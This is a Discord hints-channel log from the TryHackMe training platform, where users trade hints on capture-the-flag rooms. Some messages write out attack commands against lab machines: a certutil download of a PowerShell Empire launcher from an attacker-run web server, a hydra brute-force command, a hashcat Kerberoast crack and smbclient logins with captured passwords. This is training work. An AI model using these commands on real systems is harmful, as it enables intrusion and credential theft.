#room-hints | TryHackMe | Page 36

foggy lotus Jun 23, 2020, 6:42 PM

#

Intro to python, how to decode the flag file?

stuck fractal Jun 23, 2020, 6:44 PM

#

The room suggests you read the docs for the Python base64 module

foggy lotus Jun 23, 2020, 6:44 PM

#

do i need to write the code?

stuck fractal Jun 23, 2020, 6:44 PM

#

Have you done that?

#

Yes you need to write code to do it

foggy lotus Jun 23, 2020, 6:45 PM

#

i did..still can't come up with a correct code

stuck fractal Jun 23, 2020, 6:45 PM

#

You need to write a whole program to do it.

#

It will be 3 loops

#

Each loop does a different decode

#

And you will use the base64 module, and 3 functions from that module

foggy lotus Jun 23, 2020, 6:48 PM

#

i did three separate functions..

stuck fractal Jun 23, 2020, 6:49 PM

#

Maybe you can do that. But you should really be using loops.

#

You don't need to define your own functions here

foggy lotus Jun 23, 2020, 6:52 PM

#

gotcha thanks for helping!

ripe hedge Jun 23, 2020, 7:06 PM

#

The order given is the order used to encode

foggy lotus Jun 23, 2020, 7:19 PM

#

i decoded it by each line.. but i got error saying :

stuck fractal Jun 23, 2020, 7:20 PM

#

There's only a single line

foggy lotus Jun 23, 2020, 7:20 PM

#

📎 Screen_Shot_2020-06-23_at_1.19.48_PM.png

stuck fractal Jun 23, 2020, 7:20 PM

#

You need more than hints now

#

#room-help and show code

foggy lotus Jun 23, 2020, 7:21 PM

#

ok

void cedar Jun 23, 2020, 8:43 PM

#

Hello, i'm doing the Break Out The Cage room and i have managed to find the ||hidden message in the audio file using the spectrogram|| but can't actually ||see what it says||, can anyone help me?

stuck fractal Jun 23, 2020, 8:43 PM

#

scroll

void cedar Jun 23, 2020, 8:44 PM

#

I have, but still can't ||make out the last 3 letters||

#

||nameless***||

stuck fractal Jun 23, 2020, 8:44 PM

#

Should be able to scroll along

void cedar Jun 23, 2020, 8:45 PM

#

i'm not entirely sure what you mean, can i dm you an image?

stuck fractal Jun 23, 2020, 8:45 PM

#

I have DMs off

void cedar Jun 23, 2020, 8:46 PM

#

is there a way i can put it in this channel without spoiling it for anyone?

thick rampart Jun 23, 2020, 8:47 PM

#

I don't remember an audio component to Break out of the Cage....

stuck fractal Jun 23, 2020, 8:47 PM

#

There is.

thick rampart Jun 23, 2020, 8:47 PM

#

Odd

stuck fractal Jun 23, 2020, 8:48 PM

#

@void cedar Will turn DMs on.

#

DM

void cedar Jun 23, 2020, 8:48 PM

#

Thank you

stoic citrus Jun 23, 2020, 9:16 PM

#

In the burpsuite room the #5 in the decoder and comparer.
" What can we load into Comparer to see differences in what various user roles can access? This is very useful to check for access control issues."

Not really sure what it is asking for here.

stoic citrus Jun 23, 2020, 9:33 PM

#

sigh.. figured it out.

exotic rose Jun 24, 2020, 12:57 AM

#

On PS Empire room, trying to get the .bat listener onto the windows machine. Dunno why we set the listener to port 80 because now it’s in use and I can’t set a python http server so I could use certutil to download it

#

I could just use a meterpreter reverse shell and use download commands, but that feels cheat. Is there another way?

oblique cliff Jun 24, 2020, 1:00 AM

#

That’s not cheating. You could just set up a server on a different port and then download from that instead. You have 65000~ ports to choose from to do that kinda uploading/downloading thing 🙂 @exotic rose

stuck fractal Jun 24, 2020, 1:00 AM

#

65535 to be precise

oblique cliff Jun 24, 2020, 1:01 AM

#

65534 if one is already taken 👀

exotic rose Jun 24, 2020, 1:05 AM

#

Hmm I tried hosting a python -m SimpleHTTPServer 5555 in my tmp directory with the file in it

#

On the windows side, did certutil -urlcache -split -f http://myip:5555/launcher.bat launcher.bat

#

Said the urlcache command failed

#

Any thoughts?

patent token Jun 24, 2020, 1:06 AM

#

certutil.exe

#

See if that helps

exotic rose Jun 24, 2020, 1:09 AM

#

Did not work

#

You think port 5555 is blocked?

stuck fractal Jun 24, 2020, 1:10 AM

#

When you get an error, screenshot the error if you want help with it

exotic rose Jun 24, 2020, 1:12 AM

#

📎 image0.png

#

Also tried with just certutil

stuck fractal Jun 24, 2020, 1:13 AM

#

a connection with the server could not be established that sounds like network issues to me

#

Your IP being your VPN IP?

exotic rose Jun 24, 2020, 1:13 AM

#

Yup

#

Wait...

#

I missed a number😂😂😂

#

It works 😂

#

Thank you haha

stuck fractal Jun 24, 2020, 1:14 AM

#

nice

regal comet Jun 24, 2020, 1:17 AM

#

Any pointers on command injection for yotf?

regal comet Jun 24, 2020, 1:35 AM

#

@stuck fractal ?

stuck fractal Jun 24, 2020, 1:35 AM

#

@regal comet Boi.

#

Don't just ping me because you need help

#

If I could help you, and if I wanted to help you, I would have

regal comet Jun 24, 2020, 1:35 AM

#

I was under the impression this is a teaching place

stuck fractal Jun 24, 2020, 1:36 AM

#

Yeah

regal comet Jun 24, 2020, 1:36 AM

#

I guess paying for this service means nothing here

stuck fractal Jun 24, 2020, 1:36 AM

#

That doesn't mean I've done every box

#

I don't get paid to help you

#

Hell, I don't get paid to do anything other than make boxes

regal comet Jun 24, 2020, 1:36 AM

#

not you, me. paying to be a sub

stuck fractal Jun 24, 2020, 1:36 AM

#

I can't give you a hint if I don't know one.

regal comet Jun 24, 2020, 1:37 AM

#

but that's all you got to say

stuck fractal Jun 24, 2020, 1:37 AM

#

Being a sub doesn't mean you can get hints for a box that very few people have done, where the creator has given very few hints

#

The hints don't exist.

#

You can't have something that doesn't exist.

regal comet Jun 24, 2020, 1:37 AM

#

would be nice to hear that instead of being ignored.

#

not asking for anything more

stuck fractal Jun 24, 2020, 1:38 AM

#

I mean, it wouldn't have contributed. At all.

#

Doesn't contribute = no reason to answer.

inland onyx Jun 24, 2020, 1:38 AM

#

I guess paying for this service means nothing here
@regal comet correct. It's a community discord. Subbing means stuff on the site -- and it means you have a couple of extra channels in the discord, but otherwise it's not worth anything in the community 🙂

stuck fractal Jun 24, 2020, 1:38 AM

#

Someone else might want to give you a hint

inland onyx Jun 24, 2020, 1:39 AM

#

And yeah, this is a volunteer job for us. There is no obligation to help, and in the end, there are 17 people who could help with that box, out of 900 in the room

#

Most of them aren't here 🤷‍♂️

regal comet Jun 24, 2020, 1:40 AM

#

I am not upset for not getting help. I am annoyed that I am being ignored. that's all.

#

but its all good

inland onyx Jun 24, 2020, 1:40 AM

#

Wonderful. In that case I'm going back to sleep 😄

analog fiber Jun 24, 2020, 2:40 AM

#

hi there

#

anyone able to help me with the room attacking kerberos?

#

https://tryhackme.com/room/attackingkerberos

TryHackMe

TryHackMe | Hacking Training

An online platform for learning and teaching cyber security, all through your browser.

#

for task 4 i am using the password list provided to crack the hash but it seems that the hash is not in the password list

oblique cliff Jun 24, 2020, 2:44 AM

#

If it says it is, it is. Your syntax is most assuredly incorrect

analog fiber Jun 24, 2020, 2:47 AM

#

i am pretty sure it is correct

#

the syntax was just copied from the tutorial

#

this was given in the challenge

#

hashcat -m 13100 -a 0 hash.txt Pass.txt

#

i just followed it

patent token Jun 24, 2020, 2:48 AM

#

I used John for that to be honest.

#

But that's because I don't have a GPU on this machine.

analog fiber Jun 24, 2020, 2:48 AM

#

i dont have GPU as well

#

but the password list is small enough

#

like 1200 lines

patent token Jun 24, 2020, 2:49 AM

#

Just use John.

#

¯_(ツ)_/¯

analog fiber Jun 24, 2020, 2:49 AM

#

alright gonna try that

solemn smelt Jun 24, 2020, 2:58 AM

#

did you properly format your hash Rubeus is weird and doesn’t like to output hashes that hashcat likes

patent token Jun 24, 2020, 3:02 AM

#

I forgot about that part. I remember having to delete all that white space from each line because of it.

analog fiber Jun 24, 2020, 3:07 AM

#

thanks mayor

#

john worked fine

#

i was using impacket

#

so the hash format was normal

#

unlike with rubeus

lean rover Jun 24, 2020, 3:45 AM

#

anyone able to advise real quick on YOTF? ||is the command to bruteforce hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -f -I -V -t 64 10.10.141.224 http-get / ||mainly wondering if the syntax is right..... it goes blindingly fast (obv because i put 64 threads) but not sure if i am doing this right

stuck fractal Jun 24, 2020, 3:48 AM

#

I mean. If you get the right username, that might give you a password

lean rover Jun 24, 2020, 3:50 AM

#

okay, thank you. will try harder

wraith fulcrum Jun 24, 2020, 7:32 AM

#

@inland onyx can I DM quick?

inland onyx Jun 24, 2020, 8:31 AM

#

@wraith fulcrum what for?
(Thanks for asking btw 🙂)

velvet wharf Jun 24, 2020, 9:22 AM

#

Hi everyone, can I have some help on poloprivescfinal

#

Task 6.2... It's looking for a keyword but I don't know what it wants

wraith fulcrum Jun 24, 2020, 9:36 AM

#

@wraith fulcrum what for?
(Thanks for asking btw 🙂)
@inland onyx sudo related

#

pwfeedback

inland onyx Jun 24, 2020, 9:37 AM

#

Uh...
I mean, if it's asking for help with something then doing it here is fine, otherwise sure 🙂

velvet wharf Jun 24, 2020, 9:51 AM

#

https://tryhackme.com/room/commonlinuxprivesc

TryHackMe

TryHackMe | Hacking Training

An online platform for learning and teaching cyber security, all through your browser.

#

6.2 Having read the information above, what direction privilege escalation is this attack? (8 letters)

spiral stag Jun 24, 2020, 9:59 AM

#

have you done all the previous tasks?

ripe hedge Jun 24, 2020, 10:12 AM

#

the answer is in the long block of text 😛

indigo ridge Jun 24, 2020, 10:16 AM

#

can someone please tell me how do I connect smb .. in yotf.. I got the username and password.. I am using smbclient but I can't

mild eagle Jun 24, 2020, 10:21 AM

#

@indigo ridge you also need a share ..

median compass Jun 24, 2020, 10:35 AM

#

can you show the command you're entering that's not working @indigo ridge? If we can see it we can help better

radiant violet Jun 24, 2020, 10:42 AM

#

for yotf i managed to decode both files and got some kind of hash but cant cracked is it a rabbit hole ?

median compass Jun 24, 2020, 10:51 AM

#

let's just say that I wish i hadn't spent as much time as I did on them @radiant violet 🙂

echo thunder Jun 24, 2020, 10:52 AM

#

is the password for the f** user changed ?

#

in Year of the Fox

#

?

indigo ridge Jun 24, 2020, 10:55 AM

#

can you show the command you're entering that's not working @indigo ridge? If we can see it we can help better
@median compass smbclient -L \\ip\yotf -U fox

median compass Jun 24, 2020, 10:55 AM

#

your slashes are backwards @indigo ridge

indigo ridge Jun 24, 2020, 10:56 AM

#

I searched it on google.. is this for windows?

median compass Jun 24, 2020, 10:56 AM

#

yes @echo thunder every time you reset the box the passwords change, at least some of them

echo thunder Jun 24, 2020, 10:56 AM

#

ok

median compass Jun 24, 2020, 10:57 AM

#

probably @indigo ridge I only use it on linux, on linux it's / not \

#

i assume your attack box is linux?

indigo ridge Jun 24, 2020, 10:58 AM

#

yes kali

median compass Jun 24, 2020, 10:58 AM

#

oh, hang on, you also are mixing up two commands

#

smbclient -L is to list all shares, then you can't give it the /yotf part as that's a share

#

if you just want to login then leave out the -L

indigo ridge Jun 24, 2020, 10:59 AM

#

ohhh.. that's why It only lists the shares yotf and $ipc

#

is this correct
smbclient ////10.10.106.80//yotf -U fox

median compass Jun 24, 2020, 11:01 AM

#

i would have thought that just smbclient //10.10.106.80/yotf -U fox would work

indigo ridge Jun 24, 2020, 11:02 AM

#

I entered this.. It asked for password..
smbclient //10.10.106.80//yotf -U fox
tree connect failed: NT_STATUS_BAD_NETWORK_NAME

median compass Jun 24, 2020, 11:02 AM

#

you have // before yotf

indigo ridge Jun 24, 2020, 11:03 AM

#

thankyou very much brother..

you have // before yotf
@median compass it worked

median compass Jun 24, 2020, 11:03 AM

#

happy hunting

indigo ridge Jun 24, 2020, 11:03 AM

#

I am connected now

#

🤩

jade plover Jun 24, 2020, 11:08 AM

#

whatup ppl?!
somebody familiar with the "Advent of Cyber" room/Hackivity?
I'm kind of struggling with Task 6 (#3)
any hint (or help) would be great.
BTW I'm new at TryHackMe ..
thanks in advance

indigo ridge Jun 24, 2020, 11:10 AM

#

whatup ppl?!
somebody familiar with the "Advent of Cyber" room/Hackivity?
I'm kind of struggling with Task 6 (#3)
any hint (or help) would be great.
BTW I'm new at TryHackMe ..
thanks in advance
@jade plover have you decoded the cookies?

#

notice the decoded cookies it has some pattern

jade plover Jun 24, 2020, 11:10 AM

#

thnks for reply... I did

indigo ridge Jun 24, 2020, 11:11 AM

#

what did you get?

jade plover Jun 24, 2020, 11:11 AM

#

fixed part of cookie is:
v4er9ll1!ss

indigo ridge Jun 24, 2020, 11:12 AM

#

if you found the pattern then it is same for every user.. try to create the cookie for admin

#

fixed part of cookie is:
v4er9ll1!ss
@jade plover yep fixed part is this.. you have to decode it.. use burp suite or try to find the encoding.. I suggest use burpsuite

cold tulip Jun 24, 2020, 11:12 AM

#

help blue room

jade plover Jun 24, 2020, 11:13 AM

#

using Burp or without?

cold tulip Jun 24, 2020, 11:13 AM

#

its showing error cant handle

#

using Burp or without?
@jade plover with burp

#

help blue roo,

#

help blue room

indigo ridge Jun 24, 2020, 11:14 AM

#

help blue room
@cold tulip whats the error?

cold tulip Jun 24, 2020, 11:14 AM

#

its showing cant handle while exploit

jade plover Jun 24, 2020, 11:14 AM

#

@indigo ridge Thnx man 😉

indigo ridge Jun 24, 2020, 11:15 AM

#

its showing cant handle while exploit
@cold tulip I suggest you try it 2-4 times

#

its just straight forward exploit

cold tulip Jun 24, 2020, 11:15 AM

#

wait

#

help with rhosts

#

what we have to do

indigo ridge Jun 24, 2020, 11:17 AM

#

set the remote host.. means your room's ip address

cold tulip Jun 24, 2020, 11:18 AM

#

the error is its running session -u 1

#

help with 3

median compass Jun 24, 2020, 11:20 AM

#

@cold tulip you're really not making it easy to help you, try sending a picture of what you're doing and explaining clearly what's going wrong

cold tulip Jun 24, 2020, 11:20 AM

#

ok

#

help with 3 what we have to do in 3

median compass Jun 24, 2020, 11:21 AM

#

you mean Task 3 in room Blue then?

indigo ridge Jun 24, 2020, 11:23 AM

#

ok
@cold tulip I think you are having problem with metasploit.. I would suggest you should complete the metasploit room first

cold tulip Jun 24, 2020, 11:23 AM

#

📎 Screenshot_2020-06-20_072208.png

median compass Jun 24, 2020, 11:25 AM

#

ok, so you type options and you see a SESSION option
then you type SESSIONS and you should see your sessions listed, you probably just have 1, it's probably number 1, but it could be another number if you've tried a few times
then you do set session 1

#

make sense? darkrider's suggestion to do the metaspolit (https://tryhackme.com/room/rpmetasploit) room is probably a good one, it's a useful tool and worth getting a good grounding in

TryHackMe

TryHackMe | Hacking Training

An online platform for learning and teaching cyber security, all through your browser.

velvet wharf Jun 24, 2020, 11:27 AM

#

the answer is in the long block of text 😛
@ripe hedge I got it now, thanks!

velvet wharf Jun 24, 2020, 12:20 PM

#

https://tryhackme.com/room/lazyadmin

TryHackMe

TryHackMe | LazyAdmin

Easy linux machine to practice your skills

#

Can I also get a little help on this one. I found 2 hidden directories and cracked a hash. I'm stuck on finding an email address to log in with

indigo ridge Jun 24, 2020, 12:22 PM

#

there is no email

#

u just need username

velvet wharf Jun 24, 2020, 12:26 PM

#

got it!

#

thanks

marble badge Jun 24, 2020, 12:31 PM

#

hey guys

velvet wharf Jun 24, 2020, 12:36 PM

#

"There is no spoon..."

#

@indigo ridge so wise.

#

Hi God

indigo ridge Jun 24, 2020, 12:38 PM

#

@indigo ridge so wise.
@velvet wharf ??

echo thunder Jun 24, 2020, 12:53 PM

#

anyone completed the yotf room

#

?

ripe hedge Jun 24, 2020, 12:54 PM

#

a few have, but I doubt that they're talking much 🙂

patent token Jun 24, 2020, 12:57 PM

#

It was like less than 20 people or something last night.

ripe hedge Jun 24, 2020, 1:01 PM

#

it's a hard room

echo thunder Jun 24, 2020, 1:54 PM

#

can anyone give me a hint on how to find the web user for yotf?

oblique cliff Jun 24, 2020, 1:56 PM

#

As they answered you right above only some 17 people have completed the room and they’re probably not gonna give out hints

ripe hedge Jun 24, 2020, 1:58 PM

#

enumerate harder I guess?

mild eagle Jun 24, 2020, 2:06 PM

#

In yotf room I got the web user and can ||upload/download files to the server. Ping my own machine|| but any hints pointers as to get a bit further ?

little summit Jun 24, 2020, 2:12 PM

#

need a hint in the "rp: burp suite" room, task 10, can't seem to find any request that gives me a "set-cookie" header

ripe hedge Jun 24, 2020, 2:36 PM

#

it's a response that sets cookies

#

@mild eagle sounds like a job for a reverse shell...

#

I haven't gotten that far yet 😦

mild eagle Jun 24, 2020, 2:38 PM

#

@ripe hedge tnx Also the path I was heading down but not that easy !

ripe hedge Jun 24, 2020, 2:38 PM

#

I have a web user...and not much else

echo thunder Jun 24, 2020, 3:03 PM

#

is the hash in the c*****.txt encoded multiple times

#

?

indigo ridge Jun 24, 2020, 3:06 PM

#

is the hash in the c*****.txt encoded multiple times
@echo thunder yep

echo thunder Jun 24, 2020, 3:06 PM

#

ok thanks

#

can I PM you

#

I want to ask you something

indigo ridge Jun 24, 2020, 3:07 PM

#

it won't help i havnt completed anything in it

#

but you can pm me

ripe hedge Jun 24, 2020, 3:07 PM

#

haha

#

I haven't gotten quite that far yet

indigo ridge Jun 24, 2020, 3:07 PM

#

just smb..and lurking to get http user pass.

ripe hedge Jun 24, 2020, 3:08 PM

#

I got a user

indigo ridge Jun 24, 2020, 3:09 PM

#

thats great..

edgy gorge Jun 24, 2020, 3:19 PM

#

any hints for Offline KOTH

stray mortar Jun 24, 2020, 3:52 PM

#

Hi, I doing the CTF daily bugle and I have a shell on the machine, now I have found the file where the password stored under Webserver path but I can't SSH to the machine with this password, can someone help me?

solemn smelt Jun 24, 2020, 3:55 PM

#

I haven’t done that machine in a while but that doesn’t sound like the correct path to me

echo thunder Jun 24, 2020, 4:21 PM

#

anyone decrypt the text inside the two txt files on yotf?

stuck fractal Jun 24, 2020, 4:21 PM

#

Nope

echo thunder Jun 24, 2020, 4:21 PM

#

can you please ping me?I have a question regarding encryption

stuck fractal Jun 24, 2020, 4:21 PM

#

Literally no one has

#

Because you can't

#

Because a) Not encrypted

echo thunder Jun 24, 2020, 4:22 PM

#

it is a ||base32|| text

stuck fractal Jun 24, 2020, 4:22 PM

#

I mean

#

It's not encrypted

#

Nothing about it is encrypted

#

Even once you decode, still not encrypted

echo thunder Jun 24, 2020, 4:22 PM

#

first time is like that

#

than it gives me another time

stuck fractal Jun 24, 2020, 4:23 PM

#

wat

echo thunder Jun 24, 2020, 4:23 PM

#

the text from the files

stuck fractal Jun 24, 2020, 4:23 PM

#

They are sha256 hashes

#

have fun

echo thunder Jun 24, 2020, 4:24 PM

#

it is first ||base32|| and than ||sha256||

indigo ridge Jun 24, 2020, 4:24 PM

#

😂

have fun
@stuck fractal

#

it is first ||base32|| and than ||sha256||
@echo thunder this won't get you anywhere

median compass Jun 24, 2020, 4:37 PM

#

Muir told us about the creds files in yotf, they are /dev/urandom|sha256|base32, just meaningless noise

#

forgot the SHA256 part 🙂

#

that was days of my life btw, horror show those redherrings!

echo thunder Jun 24, 2020, 4:51 PM

#

@median compass did you finish the room

#

?

median compass Jun 24, 2020, 4:51 PM

#

yes, finally

echo thunder Jun 24, 2020, 4:52 PM

#

can I PM you

#

?

median compass Jun 24, 2020, 4:52 PM

#

i imagine if there was 17 people that did it then i'm the 17th lol

echo thunder Jun 24, 2020, 4:52 PM

#

regarding the yotf

#

?

median compass Jun 24, 2020, 4:52 PM

#

sure

rocky forge Jun 24, 2020, 5:00 PM

#

Help in authentication-2 jwt

cold tulip Jun 24, 2020, 5:04 PM

#

help flag2 in blue

#

please

median compass Jun 24, 2020, 5:07 PM

#

same feedback as the last time @cold tulip, when you don't show us what you're doing or what you're stuck on it's hard to give help

inland onyx Jun 24, 2020, 5:18 PM

#

i imagine if there was 17 people that did it then i'm the 17th lol
@median compass 15 (16 now). Plus Pars, testing it, and me, making it

median compass Jun 24, 2020, 5:19 PM

#

coolguy well that's top-20 Muir, I'll take it 🙂

stuck fractal Jun 24, 2020, 5:32 PM

#

@cold tulip Don't show flags.

cold tulip Jun 24, 2020, 5:33 PM

#

oh

#

okay

#

but help

stuck fractal Jun 24, 2020, 5:33 PM

#

Do you know where the flag should be?

#

Read the hint on the room. Where does windows store passwords (as a file)?

cold tulip Jun 24, 2020, 5:34 PM

#

no

#

no

#

no

stuck fractal Jun 24, 2020, 5:37 PM

#

@cold tulip Well, I recommend doing some research and finding that information.

keen willow Jun 24, 2020, 5:38 PM

#

my system is trying hard to crack hash from Daily Bugle but getting hot and nothing else, any known issue or i should choose any not-so-famous wordfile.

stuck fractal Jun 24, 2020, 5:39 PM

#

rockyou will do it

#

It takes time

keen willow Jun 24, 2020, 5:40 PM

#

thanks @stuck fractal oh, i am missing my graphic card then.

stuck fractal Jun 24, 2020, 5:40 PM

#

Bcrypt doesn't care about GPUs

keen willow Jun 24, 2020, 5:45 PM

#

Bcrypt doesn't care about GPUs
@stuck fractal cool to know again thx. looks like i need to retouch GPUs contribution in calculations. Any reference you wanna share.

stuck fractal Jun 24, 2020, 5:45 PM

#

Bcrypt is just designed to not care about GPUs

#

The speed is about the same

radiant violet Jun 24, 2020, 5:51 PM

#

that 2 js files are pain in the arse

cold tulip Jun 24, 2020, 5:54 PM

#

dude no file

#

in config

stuck fractal Jun 24, 2020, 5:54 PM

#

wat

#

You probably just don't have permissions to view it

#

migrate to a system process

cold tulip Jun 24, 2020, 5:54 PM

#

oh

#

ok

cold tulip Jun 24, 2020, 6:15 PM

#

failed

#

?

delicate plaza Jun 24, 2020, 6:23 PM

#

I have problem with escalating privs to administrator on Retro. I know which exploit use but im stuck on last step. I tried few thigs to fix it but they doesnt work

solemn smelt Jun 24, 2020, 6:23 PM

#

that priv esc is intended to be hard

stuck fractal Jun 24, 2020, 6:23 PM

#

@delicate plaza Check the pins in #650425164894568455

obtuse osprey Jun 24, 2020, 7:24 PM

#

hey guys, just wondering if there's a directory in windows where you can download a file without getting errors like 'Access Denied' because i have no write permissions. So like in linux i could download a file to /dev/shm and get no errors?

stuck fractal Jun 24, 2020, 7:25 PM

#

google windows world writeable dir

obtuse osprey Jun 24, 2020, 7:25 PM

#

ok thanks didn't know exactly how to word that

obtuse osprey Jun 24, 2020, 7:45 PM

#

hey @stuck fractal so after trying to download the PowerUp.ps1 file to Useraccount\APPDATA\Local\Temp i still get access denied

#

i'll post some screenshots

stuck fractal Jun 24, 2020, 7:45 PM

#

Try a different directory

#

And just because I helped you once, doesn't mean you need to tag me the next few times

obtuse osprey Jun 24, 2020, 7:46 PM

#

📎 Screenshot_2020-06-24_at_20.46.10.png

stuck fractal Jun 24, 2020, 7:46 PM

#

So

#

Try a different directory

obtuse osprey Jun 24, 2020, 7:46 PM

#

ok sorry about that

stuck fractal Jun 24, 2020, 7:46 PM

#

There's one that's pretty much always writeable by everyone

obtuse osprey Jun 24, 2020, 7:46 PM

#

Public?

stuck fractal Jun 24, 2020, 7:48 PM

#

I found one in a single google search

obtuse osprey Jun 24, 2020, 7:49 PM

#

i'll just keep looking, sorry for tagging

#

could you tell me what you typed in on google ?

#

i seriously can't find anything

stuck fractal Jun 24, 2020, 7:54 PM

#

Normally C:\Windows\Temp

obtuse osprey Jun 24, 2020, 7:56 PM

#

i got access to this path is denied?

stuck fractal Jun 24, 2020, 7:56 PM

#

Eh, look in more places

#

What box?

#

you're probably told where

#

Corp? pretty sure you're told

obtuse osprey Jun 24, 2020, 7:56 PM

#

the room is Corp Task 4

stuck fractal Jun 24, 2020, 7:57 PM

#

We will run PowerUp.ps1 for the enumeration.

Lets load PowerUp1.ps1 into memory.

#

Into memory

#

Not onto disk

obtuse osprey Jun 24, 2020, 7:57 PM

#

but don't i need to download the file first?

#

or is it already in windows?

stuck fractal Jun 24, 2020, 7:58 PM

#

You're loading it into memory

#

Not onto disk

#

You don't touch the disk

eternal brook Jun 24, 2020, 7:58 PM

#

https://tryhackme.com/room/hashingcrypto101 task6 1st ques I'm not able to find sha1sum the kali site only lists sum for latest 2020 versions not 2019

TryHackMe

TryHackMe | Hacking Training

An online platform for learning and teaching cyber security, all through your browser.

stuck fractal Jun 24, 2020, 7:59 PM

#

@eternal brook Try harder

#

They're there

#

You need to find the 2019.4 image

eternal brook Jun 24, 2020, 7:59 PM

#

https://fleschutz.droppages.com/downloads/SHA1.txt found this site

stuck fractal Jun 24, 2020, 7:59 PM

#

I mean

#

That seems unrelated

eternal brook Jun 24, 2020, 7:59 PM

#

but it does not match

stuck fractal Jun 24, 2020, 7:59 PM

#

Like totally unrelated

#

Find the official kali 2019 ISO download

obtuse osprey Jun 24, 2020, 8:00 PM

#

BTW i realised what i'd done cheers as always 👍

#

again im quite newbie when it comes to windows

delicate plaza Jun 24, 2020, 8:02 PM

#

The worst in Retro is that i have setup thing and when i wanna open other thigs it starts via thing which i setup for it but in eop it still dont want to ._.

eternal brook Jun 24, 2020, 8:02 PM

#

see it has only the latest versions when i looked for older versions it does not have the checksum in it

📎 Screenshot_from_2020-06-25_01-22-54.png

stuck fractal Jun 24, 2020, 8:03 PM

#

@eternal brook You can find it

#

You need to do research

eternal brook Jun 24, 2020, 8:03 PM

#

https://www.kali.org/news/kali-linux-2019-4-release/

Kali Linux 2019.4 Release

We are highly excited to announce our fourth and final release of 2019, Kali Linux 2019.4, which is available immediately for download.

stuck fractal Jun 24, 2020, 8:03 PM

#

It's not directly on the page

eternal brook Jun 24, 2020, 8:03 PM

#

hmm ok

stuck fractal Jun 24, 2020, 8:03 PM

#

It comes under rule 13

#

I made sure of that

eternal brook Jun 24, 2020, 8:04 PM

#

okay i'll try searching more thanks

lone abyss Jun 24, 2020, 8:16 PM

#

I have a question for y'all, what do you guys tend to look for after finding an LFI vulnerability?

stuck fractal Jun 24, 2020, 8:17 PM

#

Unless that's for a specific THM room, wrong chat

lone abyss Jun 24, 2020, 8:17 PM

#

nunu

#

it's not for a room, it's for a hint in general

stuck fractal Jun 24, 2020, 8:18 PM

#

If it's not for a hint for a THM room, it doesn't go here.

#

For those who want only hints on rooms

lone abyss Jun 24, 2020, 8:22 PM

#

ok

delicate plaza Jun 24, 2020, 9:05 PM

#

Can i dm someone who pwn Retro with question if im doing box right ?

wraith fulcrum Jun 24, 2020, 9:07 PM

#

@delicate plaza can I dm u?

delicate plaza Jun 24, 2020, 9:07 PM

#

yup

#

I just wanna be sure if im doing something wrong or if machine is broken 😄

#

Or just screen to confirm if something should appear or not

robust nymph Jun 24, 2020, 10:22 PM

#

So I think I found the way to root before the way to ||jjameson|| on Daily Bugle lol, I did see ||/var/www/html/libraries/joomla/http/transport/cacert.pem|| through linpeas, but having trouble finding out ways to exploit it. Any tips on moving from ||apache|| to ||jjameson||?

oblique cliff Jun 24, 2020, 10:27 PM

#

Look around for possibly some || plaintext credentials || 🙂

#

@robust nymph also look closer at your ||linpeas output|| and I think you may find something interesting

robust nymph Jun 24, 2020, 10:31 PM

#

I'll definitely do some digging and get back to you, thanks!

#

Ahh shows that I need to look at my ||linpeas scans|| more in depth, very well hidden in there. Thanks again for the tip!

oblique cliff Jun 24, 2020, 10:43 PM

#

any time

robust nymph Jun 24, 2020, 10:43 PM

#

And sure enough the way I found to root worked as soon as I pivot over, Very awesome box!

patent token Jun 24, 2020, 11:12 PM

#

Daily Bugle is one of my personal faves.

stuck fractal Jun 24, 2020, 11:14 PM

#

I have a single problem with it

white salmon Jun 24, 2020, 11:27 PM

#

Hello guys, I just have a quick question about skynet, I'm new and I wouldn't want to start spitting spoilers even though there's a walkthrough. Would anyone be able to help me?

patent token Jun 24, 2020, 11:28 PM

#

Hi Princess. Best bet is to ask for a hint specifically. You can include what you're currently stuck on, and what you've tried unsuccessfully.

#

If there is anything we consider a spoiler we can ask you to remove, or have it removed if needed. 🙂

white salmon Jun 24, 2020, 11:29 PM

#

ok! this is for the oscp room, I found the directory for "My dyson" and connected to it, but when I do an ls I do not find anything about his wife or content management

#

just a whole bunch of pdf info

patent token Jun 24, 2020, 11:30 PM

#

So if I remember correctly there are a few different directories there to go through.

#

||download them to your Kali machine to go through them easier||

#

I would also check the other shares.

sick coyote Jun 24, 2020, 11:35 PM

#

For yotf room. I found the web user. Maybe someone is able to give me a hint on the box. || I am not sure how to execute commands in the form I found. I tried injecting the POST request using Burp, but I am not able to execute commands or perform LFI.. ||

white salmon Jun 24, 2020, 11:37 PM

#

ok, I read the l*gs and already logged into smb and Mr dyson

patent token Jun 24, 2020, 11:39 PM

#

Ok, but you have what you need from the logs. Don't get bogged down in the shares too much. Go back and scan/enumerate some more to find additional services you may be able to take advantage of.

#

If you have access to Miles share, that's the other half of the challenge.

#

Now put together what you found in the ||anonymous share and in Miles' share||.

craggy owl Jun 24, 2020, 11:40 PM

#

I so need a hint please with a linux challenge. [Task] #10 . part 3 regarding split. i do not understand and from the hint that was suggested i can use sed and i just dont see how that is possible?

oblique cliff Jun 24, 2020, 11:42 PM

#

@craggy owl the man page for sed or google is your friend here for what you need

white salmon Jun 24, 2020, 11:49 PM

#

that's the thing, miles share only has titles of pdfs

#

I know that if I say more it's going to sound as a spoiler and I could get banned

oblique cliff Jun 24, 2020, 11:50 PM

#

@white salmon I don’t believe that’s the case. Enumerate harder

white salmon Jun 24, 2020, 11:50 PM

#

😦

oblique cliff Jun 24, 2020, 11:50 PM

#

You can put || on both sides to censor your text

#

|| spoil me ||

white salmon Jun 24, 2020, 11:51 PM

#

I'm such a noob

oblique cliff Jun 24, 2020, 11:51 PM

#

Example ^

white salmon Jun 24, 2020, 11:51 PM

#

||y'all are awesome||

oblique cliff Jun 24, 2020, 11:51 PM

#

We all started there at some point no worries

stuck fractal Jun 24, 2020, 11:54 PM

#

@white salmon Just don't post answers/flags directly.

#

We don't enforce spoilers other than "Be a decent human"

white salmon Jun 24, 2020, 11:57 PM

#

Does anyone remember what smb enuumeration cheat sheets they used? obgviously I'm googling wrong! and I'd like to be able to find the answer myself 😦

stuck fractal Jun 24, 2020, 11:59 PM

#

Cheat sheets I haven't seen

#

Tools, I have

white salmon Jun 25, 2020, 12:01 AM

#

||so obviously I've done smbclient \\10.10.58.81\milesdyon with the pass I fouund in squirrelmail||

#

and then ||smbclient -W WORKGROUP -U milesdyson //10.10.58.81/milesdyson ||

#

and I get access!

#

but I do not know how to enumerate more from there 😦

stuck fractal Jun 25, 2020, 12:03 AM

#

Look around?

#

Try the password on a different service?

craggy owl Jun 25, 2020, 12:06 AM
